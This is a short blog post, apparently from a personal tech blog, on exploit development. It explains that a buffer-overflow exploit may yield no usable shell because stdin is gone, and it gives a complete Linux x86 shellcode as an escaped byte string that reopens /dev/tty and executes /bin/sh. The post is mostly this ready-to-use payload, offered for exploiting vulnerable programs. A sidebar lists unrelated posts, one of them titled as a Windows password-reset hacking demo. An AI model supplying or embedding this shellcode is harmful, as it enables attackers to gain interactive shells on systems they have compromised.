Skip to main content



Shellcode that bring back tty input

There are cases that you think you have been able to exploit the bug (e.g. buffer-overflow) but the program is terminated right away. You have nothing to do with your shell-code. One of the reasons is your shell-code does not bring back the input terminal so you can not type your commands. The solution is to try with another shell-code, like the one below. It will "closes stdin descriptor and re-opens /dev/tty, then does an execve() of /bin/sh/". "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"Origin

Latest Posts

DEMO: Hack into Windows machine by resetting user's password

Gingerbread (Android 2.3.3) for Nexus One - GRI40

Latest of Android 2.2 Froyo - FRF72

How to change SMSC number of Android

Auto-shutdown for Linux machine

Setting proxy for Android by GUI (official way)

How to get EMMA code coverage of Android

How to set proxy for Android (updated for 1.5 and 1.6_r1 versions)

Lotus Notes: This database cannot be read due to an invalid on disk structure

Duy KHUONG wants to share their location with you on Google Latitude